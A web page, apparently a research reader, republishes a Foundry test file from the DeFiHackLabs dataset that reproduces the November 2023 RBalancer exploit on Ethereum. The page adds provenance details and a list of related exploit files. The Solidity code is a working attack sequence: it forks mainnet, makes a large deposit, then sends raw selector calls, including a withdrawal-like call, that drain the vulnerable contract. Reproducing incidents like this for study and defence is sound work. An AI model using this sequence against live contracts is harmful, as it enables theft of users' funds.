Public reproduction file
src/test/2023-11/RBalancer_exp.sol
Public reproduction file for dataset entry RBalancer.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~17 ETH8// TX : https://app.blocksec.com/explorer/tx/eth/0xbf5b2d22fa88965ddfc6e6d685fc7cfc683340c49e126386759ed9e4027b14159// Attacker : https://etherscan.io/address/0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c5710// Attack Contract : https://etherscan.io/address/0x9c52c485edd3d22847a1614b8988fbf520b3304711// GUY : https://x.com/AnciliaInc/status/172212105608394390913contract ContractTest is Test {14 WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);15 IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);16 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);17 address Vulncontract = 0xA62F9C5af106FeEE069F38dE51098D9d81B90572;19 function setUp() public {20 vm.createSelectFork("mainnet", 18_523_440);21 }23 function testExpolit() public {24 emit log_named_decimal_uint(25 "attacker WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()26 );27 emit log_named_decimal_uint("attacker balance before attack", address(this).balance, 18);29 attack();31 emit log_named_decimal_uint(32 "attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()33 );34 emit log_named_decimal_uint("attacker balance after attack", address(this).balance, 18);35 }37 function attack() public {38 address(Vulncontract).call{value: 8600 ether}(abi.encodeWithSelector(bytes4(0xd0e30db0)));40 address(Vulncontract).call(abi.encodeWithSelector(bytes4(0x5069fb57)));42 Stone.approve(address(Vulncontract), type(uint256).max);44 address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xb18f2e91), 0, 8_582_162_020_025_013_545_654));45 }47 fallback() external payable {}48}Analysis
Dataset entry
Public Foundry test for “RBalancer” (2023-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57
- Attack Contract
0x9c52c485edd3d22847a1614b8988fbf520b33047
File record
- Name
- RBalancer
- Path
- src/test/2023-11/RBalancer_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ce1fafda45b1500d0e4101bb21fbe2ab673f8031
- Language
- Solidity
- Size
- 49 lines
- Date
- 2023-11-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/RBalancer_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ce1fafda45b1500d0e4101bb21fbe2ab673f8031, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.